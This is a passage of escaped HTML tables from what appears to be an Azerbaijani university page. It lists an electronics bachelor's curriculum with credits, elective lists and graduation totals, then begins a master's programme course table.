style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#ff99ff\">ETR 454</td>\r\n  <td class=\"xl125\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff99ff\">Signals\r\n  and Systems</td>\r\n  <td class=\"xl68\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl67\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff99ff\">Elective\r\n  (major)***</td>\r\n  <td class=\"xl96\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl92\" style=\"height:15.75pt;border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl97\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff99ff\">Credit</td>\r\n  <td class=\"xl93\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">15</td>\r\n  <td class=\"xl94\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">30</td>\r\n  <td class=\"xl80\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl92\" style=\"border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl98\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff99ff\">Credit</td>\r\n  <td class=\"xl93\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">15</td>\r\n  <td class=\"xl94\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">30</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl129\" style=\"height:15.0pt\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\" style=\"height:18.75pt\">\r\n  <td height=\"25\" class=\"xl129\" style=\"height:18.75pt\"></td>\r\n  <td class=\"xl100\">Total Credits for Graduation</td>\r\n  <td class=\"xl101\">128</td>\r\n  <td class=\"xl101\">256</td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td class=\"xl129\"></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl76\" style=\"height:15.0pt\"></td>\r\n  <td class=\"xl76\"><strong>ELECTIVES</strong></td>\r\n  <td class=\"xl76\"></td>\r\n  <td class=\"xl76\"></td>\r\n  <td class=\"xl76\"></td>\r\n  <td class=\"xl76\"></td>\r\n  <td class=\"xl76\"></td>\r\n  <td class=\"xl76\"></td>\r\n  <td class=\"xl76\"></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-left:none\">* Humanity Courses List:</td>\r\n  <td class=\"xl70\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-left:none\">***Major Electives List:</td>\r\n  <td class=\"xl72\" style=\"border-left:none\">KU</td>\r\n  <td class=\"xl73\" style=\"border-left:none\">ECTS</td>\r\n  <td class=\"xl120\" style=\"border-left:none\">Semestr</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">PHIL 130</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Culture of Philosophy</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 211</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Semiconductor Devices\r\n  and Modeling&nbsp;</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">III</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Foreign Language</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">EENG 250</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Electrical\r\n  Engineering&nbsp;</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">III</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 312</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Fundamentals of\r\n  Microwaves</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">VI</td>\r\n </tr>\r\n <tr height=\"22\" style=\"height:16.5pt\">\r\n  <td height=\"22\" class=\"xl70\" style=\"height:16.5pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">** Social Sciences</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 390</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Control Systems</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl121\" style=\"border-top:none;border-left:none\">VI</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">MGT310</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Management and\r\n  Organization</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 490</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Optical Communication\r\n  Engineering</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">VIII</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">LAW 220</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Family Law</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 461</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Robotics</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">VIII</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">ECON 101</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Introduction to\r\n  Economics</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 416</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Power Convertion&nbsp;</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">VIII</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ETR 463</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Digital\r\n  Microelectronics&nbsp;</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl120\" style=\"border-top:none;border-left:none\">VIII</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none\">KU</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">University\r\n  Requirement English</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">11</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">22</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">Science and\r\n  Technology</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">University\r\n  Requirement Azeri</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">8</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">16</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">MATH 101</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Calculus 1</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">Humanity</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">CMS 202</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Computer Application\r\n  in Engineering</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">Social Sciences</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">6</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">ENV 305</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">HS&amp;E</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">Science and\r\n  Technology</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">9</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">18</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">Major Courses</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">88</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">176</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl73\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;border-left:none\"><strong>Total</strong></td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">128</td>\r\n  <td class=\"xl74\" style=\"border-top:none;border-left:none\">256</td>\r\n  <td class=\"xl69\">&nbsp;</td>\r\n </tr></tbody></table> <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong><br></strong></p><p style=\"text-align:center\"><strong><span style=\"font-size:14.0pt;line-height:115%\">060627 -&nbsp;Elektron cihazlar və qurğular /&nbsp;060627&nbsp;Elektronika və avtomatika ixtisasları&nbsp;üzrə magistr təhsili</span></strong></p><p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt;background:white\"\"=\"\">&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"666\">\r\n <tbody><tr>\r\n  <td width=\"666\" colspan=\"4\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\"><strong>I semestr</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">#</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin kodu</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin adı</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Kredit</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 445</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Nəzarət sistemləri</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 416</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Enerji çevrilmələri</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 472</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Elektron müdafiə sistemləri</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 337</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Telekommunikasiya sistemləri</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"666\" colspan=\"4\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\"><strong>II semestr</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">#</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin kodu</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 